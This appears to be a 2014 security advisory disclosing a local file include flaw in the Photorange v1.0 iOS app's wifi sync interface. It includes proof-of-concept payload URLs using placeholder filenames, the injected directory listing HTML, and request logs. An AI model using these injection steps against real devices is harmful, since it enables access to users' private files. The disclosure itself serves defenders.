Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:31118
HistorySep 29, 2014 - 12:00 a.m.

Photorange v1.0 iOS - File Include Web Vulnerability

2014-09-2900:00:00
vulners.com
11

Document Title:

Photorange v1.0 iOS - File Include Web Vulnerability

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1318

Release Date:

2014-09-07

Vulnerability Laboratory ID (VL-ID):

1318

Common Vulnerability Scoring System:

6.3

Product & Service Introduction:

The BEST and MOST Convenient Private Photo & Video & Docs App! Photorange provides a secure Password System to keep your
secret files 100% private. Your files are ONLY stored on your device and we can never touch them.

( Copy of the Vendor Homepage: https://itunes.apple.com/en/app/photorange-schutz-privat-foto/id896041290 )

Abstract Advisory Information:

The Vulnerability Laboratory discovered a local file include web vulnerability in the official Photorange v1.0 iOS mobile web-application.

Vulnerability Disclosure Timeline:

2014-09-08: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

Jiajun Kuang
Product: Photorange - iOS Mobile Web Application 1.0

Exploitation Technique:

Local

Severity Level:

High

Technical Details & Description:

A local file include web vulnerability has been discovered in the official Photorange v1.0 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or
system specific path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `add file` module. Remote attackers are able to inject own files with
malicious `filename` values in the `sync` device POST method request to compromise the mobile web-application. The local file/path include
execution occcurs in the file dir index web interface through the download path next to the vulnerable name/path value. The attacker is able
to inject the local file request by usage of the available `wifi interface` for file exchange via sync.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
different local malicious attack requests. The attack vector is on the application-side of the wifi service and the request method to
inject is POST via Sync.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system)
count of 6.3. Exploitation of the local file include web vulnerability requires no privileged web-application user account but low
user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected
device component compromise.

Request Method(s):
[+] [Sync] [POST]

Vulnerable Parameter(s):
[+] filename

Affected Module(s):
[+] Index File Dir Listing (Web Interface - http://localhost:9900/ )

Proof of Concept (PoC):

The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Exploit
http://localhost:9900/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT
http://localhost:9900/Download/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT

PoC: Web Interface - Index Dir Listing

<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>WiFi web access</title>
</head>​​​​​<body><fontbase family="Arial,Verdana">
<style type="text/css">
a, div{
font-family: Arial,Verdana;
}
body {
background-color: silver;
position: relative;
height: 100%;
}
hr {
height: 1px;
border: none;
border-top: 1px solid #DDDDDD;
}
#content {
background-color: white;
border-style: dashed;
border-color: silver;
border-width: 1px;
position: absolute;
width: 98%;
left: 10px;
top: 10px;
z-index: 333;
}
.aImg {
margin-left: 10px;
margin-right: 10px;
margin-top: 20px;
border:none;
}
/.aFod {
color: GrayText;
text-decoration: none;
width: 50px;
height: 50px;
}
/
#progress-bar-background {
width: 100%;
height: 100%;
/background:silver url('/Web/left.ico') no-repeat;/
background: silver;
position: absolute;
top:0;
pointer-events:none;
cursor: pointer;
}
#file-uploader-text {
width: 155px;
height: 30px;
text-align: center;
line-height: 30px;
cursor: pointer;
}
#file-uploader {
width: 155px;
height: 30px;
left: 18px;
position: absolute;
top: 0;
opacity: 0;
filter: alpha(opacity=0);
cursor: pointer;
}
#progress-bar-value {
width: 0%;
height: 100%;
background: #2B90D3;
}
.btnText {
width: 155px;
height: 30px;
text-align: center;
line-height: 30px;
cursor: pointer;
font-size: 13px;
text-align: center;
color: white;
}
#submit-link {
display: none;
position: absolute;
top: 7px;
left: 200px;
}
#stop-uploading-link {
display: none;
position: absolute;
top: 7px;
left: 200px;
}
</style>

    &lt;link href=&quot;/Web/uploadify/uploadify.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot;&gt;
    &lt;script type=&quot;text/javascript&quot; src=&quot;/Web/uploadify/jquery.min.js&quot;&gt;&lt;/script&gt;
    &lt;script type=&quot;text/javascript&quot; src=&quot;/Web/uploadify/jquery.uploadify.js&quot;&gt;&lt;/script&gt;
    
    &lt;script language=&quot;javascript&quot;&gt;
        var currentFolderPath = &#39;/&#39;;
        var alertMessage = &quot;null&quot;;
        var actionType = &quot;Show&quot;;
        var submitting = false;
        var tipHiddenTop = -200;
        var tipShownTop = -80;
        var lastShownTipDate;
        
        if &#40;alertMessage != &quot;null&quot;&#41; {
            alert&#40;alertMessage&#41;;
        }
        
        function tippable&#40;&#41; {
            var currentTop = document.getElementById&#40;&quot;tip&quot;&#41;.style.top;
            currentTop = currentTop.substring&#40;0, currentTop.length-2&#41;;
            currentTop = Number&#40;currentTop&#41;;
            
            var not = &#40;&#40;currentTop &gt; tipHiddenTop&#41; &amp;&amp; &#40;currentTop &lt; tipShownTop&#41;&#41;
            return !not;
        }
        
        function hideTip&#40;&#41; {
            var tip = document.getElementById&#40;&quot;tip&quot;&#41;;
            tip.style.top = tipHiddenTop;
        }
        
        function showTip&#40;&#41; {

            var tip = document.getElementById&#40;&quot;tip&quot;&#41;;
            tip.style.top = tipShownTop;
            lastShownTipDate = new Date&#40;&#41;;
            setTimeout&#40;&quot;if&#40;&#40;new Date&#40;&#41;&#41;.getTime&#40;&#41;-lastShownTipDate.getTime&#40;&#41;&gt;=4900&#41;{hideTip&#40;&#41;;}&quot;, 5000&#41;;
        }
        
        function aClickHandler&#40;tag&#41; {
            if &#40;submitting&#41; {
                return;
            }
            
            if &#40;actionType == &quot;Show&quot;&#41;
            {
                if &#40;tag.className == &quot;image&quot;&#41; {
                    document.body.style.overflow = &quot;hidden&quot;; //&#31105;&#27490;body&#28378;&#21160;
                    var wrap = document.getElementById&#40;&quot;wrap&quot;&#41;;
                    wrap.style.display = &quot;block&quot;;
                    var src = &quot;/&quot; + actionType + tag.name;
                    wrap.innerHTML = &quot;&lt;iframe id=&#39;photo-viewer&#39; src=&#39;&quot; + src + &quot;&#39; style=&#39;position:absolute;width:100&#37;;height:100&#37;&#39; frameborder=&#39;no&#39; scrolling=&#39;no&#39; allowtransparency=&#39;yes&#39; /&gt;&quot;;
                }                 
                else {
                    if &#40;!tippable&#40;&#41;&#41; {
                        return;
                    }
                    
                    document.getElementById&#40;&quot;tip&quot;&#41;.style.top = tipHiddenTop;
                    document.getElementById&#40;&quot;tip-content&quot;&#41;.innerHTML = &quot;Jetzt kann nur Bild im Browser gesehen werden.&quot;;
                    showTip&#40;&#41;;
                }
            }
            else {
                var download = &quot;/&quot; + actionType + tag.name;
                location.href = download;
            }
        }
        function dClickHandler&#40;tag&#41; {
            if &#40;submitting&#41; {
                return;
            }
            
            location.href = tag.name;
        }
        
        function removePhotoViewer&#40;&#41;
        {
            var wrap = document.getElementById&#40;&quot;wrap&quot;&#41;;
            wrap.innerHTML = &quot;&quot;;
            wrap.style.display = &quot;none&quot;;
            
            document.body.style.overflow = &quot;auto&quot;;
        }
        
        function setViewMode&#40;&#41;
        {
            var switchBg = document.getElementById&#40;&quot;switch-bg&quot;&#41;;
            var __switch = document.getElementById&#40;&quot;switch&quot;&#41;;
            
            switchBg.style.backgroundColor = &quot;silver&quot;;
            __switch.style.backgroundColor = &quot;#2B90D3&quot;;
        }
        function setDownloadMode&#40;&#41;
        {
            var switchBg = document.getElementById&#40;&quot;switch-bg&quot;&#41;;
            var __switch = document.getElementById&#40;&quot;switch&quot;&#41;;
            
            switchBg.style.backgroundColor = &quot;#2B90D3&quot;;
            __switch.style.backgroundColor = &quot;silver&quot;;
        }
        function switchMode&#40;&#41; {
            if &#40;!tippable&#40;&#41;&#41; {
                return;
            }
            
            var ifInDownloadMode = &#40;actionType == &quot;Download&quot;&#41;;
            actionType = ifInDownloadMode ? &quot;Show&quot; : &quot;Download&quot;;
            var ifInDownloadModeNow = !ifInDownloadMode;
            if &#40;ifInDownloadModeNow&#41;
            {
                setDownloadMode&#40;&#41;;
                document.getElementById&#40;&quot;tip&quot;&#41;.style.top = tipHiddenTop;
                document.getElementById&#40;&quot;tip-content&quot;&#41;.innerHTML = &quot;Tipp: anklicken  irgend ein Daumennagel zum Herunterladen&quot;;
                showTip&#40;&#41;;
            }
            else {
                setViewMode&#40;&#41;;
                hideTip&#40;&#41;;
            }
        }
        
        $&#40;document&#41;.ready&#40;function &#40;&#41; { 
            $&#40;&quot;#file-upload&quot;&#41;.uploadify&#40;{
              height        : 30,
              swf           : &#39;/Web/uploadify/uploadify.swf&#39;,
              uploader      : &#39;upload.html&#39;,
              width         : 120,
              onQueueComplete : function&#40;queueData&#41; {
                location.reload&#40;&#41;;
              },
              buttonText    : &quot;uberliefern&quot;,
              onUploadStart : function&#40;file&#41; {
                $.post&#40;&quot;/setCurrent&quot;+currentFolderPath, {}, function&#40;data&#41;{}, &quot;json&quot;&#41;;
                $.post&#40;&quot;/ifReachTheLimit/&quot;+file.name, {}, function&#40;data&#41;{ $&#40;&quot;#file-upload&quot;&#41;.uploadify&#40;&#39;stop&#39;&#41;; }, &quot;json&quot;&#41;;
              }
            }&#41;;
            document.getElementById&#40;&quot;file-upload&quot;&#41;.style.left = &quot;15px&quot;;
        }&#41;;
    
    &lt;/script&gt;


    &lt;div id=&quot;tip&quot; style=&quot;position:absolute; top:-200px; left:40&#37;; z-index:2000&quot;&gt;
        &lt;img style=&quot;&quot; src=&quot;/Web/tip.png&quot;&gt;
        &lt;div id=&quot;tip-content&quot; style=&quot;position:absolute; left:0px; top:120px; z-index:2001; text-align:center; color:white; width:300px;&quot;&gt;
            Tip: how to do
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;div id=&quot;content&quot; onselectstart=&quot;return false;&quot;&gt;
        &lt;a href=&quot;/logout.html&quot; style=&quot;float:right; margin:10px;&quot;&gt;outloggen&lt;/a&gt;
        
        &lt;h1 style=&quot;margin-left:10px; font-weight:lighter;&quot;&gt;WiFi web access&lt;/h1&gt;
        
        &lt;div id=&quot;buttons&quot; style=&quot;position:relative; left:10px; height:60px;&quot;&gt;
            
            &lt;a href=&quot;/back.html&quot; style=&quot;text-decoration:none; position:absolute; top:0; left:0;&quot;&gt;&lt;img src=&quot;/Web/back3.png&quot; style=&quot;width:25px; height:25px; border:none; vertical-align:middle&quot;&gt; Oberverzeichnis [aktuell:/]&lt;/a&gt;
            
            &lt;!--mode--&gt;
            &lt;div id=&quot;switch-bg&quot; style=&quot;width:250px; height:30px; background:silver no-repeat; position:absolute; right:20px; text-align:right; line-height:30px; color:#E9E3E3; cursor:hand; bottom:-30; right:30px; padding-right:5px;&quot; onclick=&quot;switchMode&#40;&#41;;&quot;&gt;
                herunterladen
                &lt;div id=&quot;switch&quot; style=&quot;position:absolute; top:0; left:0; width:50&#37;; height:100&#37;; background:#2B90D3 no-repeat; text-align:left; padding-left:5px&quot;&gt;
                    durchlesen
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;!--mode end--&gt;
        &lt;/div&gt;
        &lt;!--buttons end--&gt;
        
        &lt;div style=&quot;height: 30px; width: 120px; left: 15px;&quot; class=&quot;uploadify&quot; id=&quot;file-upload&quot;&gt;&lt;object style=&quot;position: absolute; z-index: 1;&quot; id=&quot;SWFUpload_0&quot; type=&quot;application/x-shockwave-flash&quot; data=&quot;/Web/uploadify/uploadify.swf&quot; class=&quot;swfupload&quot; height=&quot;30&quot; width=&quot;120&quot;&gt;&lt;param name=&quot;wmode&quot; value=&quot;transparent&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;/Web/uploadify/uploadify.swf&quot;&gt;&lt;param name=&quot;quality&quot; value=&quot;high&quot;&gt;&lt;param name=&quot;menu&quot; value=&quot;false&quot;&gt;&lt;param name=&quot;allowScriptAccess&quot; value=&quot;always&quot;&gt;&lt;param name=&quot;flashvars&quot; value=&quot;movieName=SWFUpload_0&amp;uploadURL=&#37;2Fupload.html&amp;useQueryString=false&amp;requeueOnError=false&amp;httpSuccess=&amp;assumeSuccessTimeout=30ΒΆms=&amp;filePostName=Filedata&amp;fileTypes=*.*&amp;fileTypesDescription=All&#37;20Files&amp;fileSizeLimit=0&amp;fileUploadLimit=0&amp;fileQueueLimit=999&amp;debugEnabled=false&amp;buttonImageURL=&#37;2F&amp;buttonWidth=120&amp;buttonHeight=30&amp;buttonText=&amp;buttonTextTopPadding=0&amp;buttonTextLeftPadding=0&amp;buttonTextStyle=color&#37;3A&#37;20&#37;23000000&#37;3B&#37;20font-size&#37;3A&#37;2016pt&#37;3B&amp;buttonAction=-110&amp;buttonDisabled=false&amp;buttonCursor=-2&quot;&gt;&lt;/object&gt;&lt;div style=&quot;height: 30px; line-height: 30px; width: 120px;&quot; class=&quot;uploadify-button &quot; id=&quot;file-upload-button&quot;&gt;&lt;span class=&quot;uploadify-button-text&quot;&gt;uberliefern&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;uploadify-queue&quot; id=&quot;file-upload-queue&quot;&gt;&lt;/div&gt;
        &lt;hr&gt;
        
        &lt;a href=&quot;#&quot; name=&quot;/2.png&quot; class=&quot;image&quot; onclick=&quot;aClickHandler&#40;this&#41;;&quot;&gt;&lt;img class=&quot;aImg&quot; src=&quot;/2.png_THUMBNAIL&quot; height=&quot;60px&quot; width=&quot;60px&quot;&gt;&lt;/a&gt;&lt;a href=&quot;#&quot; name=&quot;/2_43698027.png&quot; class=&quot;image&quot; onclick=&quot;aClickHandler&#40;this&#41;;&quot;&gt;&lt;img class=&quot;aImg&quot; src=&quot;/2_43698027.png_THUMBNAIL&quot; height=&quot;60px&quot; width=&quot;60px&quot;&gt;&lt;/a&gt;&lt;a href=&quot;#&quot; name=&quot;/&gt;&quot;&gt;&lt;./[LOCAL FILE INCLUDE VULNERABILITY!].TXT&quot; class=&quot;document&quot; onclick=&quot;aClickHandler&#40;this&#41;;&quot; style=&quot;position:relative; text-decoration:none;&quot;&gt;&lt;img class=&quot;aImg&quot; style=&quot;&quot; src=&quot;/Web/TXT0.png&quot; height=&quot;60px&quot; width=&quot;60px&quot;&gt;&#8203;&#8203;&#8203;&#8203;&#8203;&lt;div class=&quot;name&quot; style=&quot;position:absolute; top:1px !important; top:65px; height:17px; left:10px !important; left:2px; width:60px; text-align:center; opacity:0.8; filter:alpha&#40;opacity=80&#41;; color:black; font-size:10px; line-height:18px;z-index:2000;&quot;&gt;&gt;&quot;&gt;&lt;./[LOCAL FILE INCLUDE VULNERABILITY!].TXT&lt;/div&gt;&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;/div&gt;
    
    &lt;div id=&quot;wrap&quot; style=&quot;background-color:black; top:0; left:0; width:100&#37;; height:100&#37;; position:absolute; z-index:1000; display:none;&quot;&gt;
    &lt;/div&gt;
    &lt;!--wrap end--&gt;
&lt;/body&gt;

</html></iframe></div></a></div></fontbase></body></html>

β€” PoC Session Logs [GET] β€”
Status: 200[OK]
GET http://localhost:9900/Download/&#37;3E&#37;22&#37;3E&#37;3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gro?e des Inhalts[17] Mime Type[application/download]
Request Header:
Host[localhost:9900]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:9900/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[17]
Content-Disposition[attachment; filename=%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT]
Content-Type[application/download]
Date[Sat, 06 Sep 2014 00:13:00 GMT]

Reference(s): Links
http://localhost:9900/
http://localhost:9900/Download/

Solution - Fix & Patch:

The vulnerability can be pactehd by a secure parse and encode of the vulnerable filename value on sync or upload.
Filter and restrict the input to prevent further executions. Encode also the output name value listing in the index file dir module.

Security Risk:

The security risk of the local file include web vulnerability in the filename value of the mobile application is estimated as high.

Credits & Authors:

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]

Disclaimer & Information:

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.

			Copyright Β© 2014 | Vulnerability Laboratory [Evolution Security]

– VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: [email protected]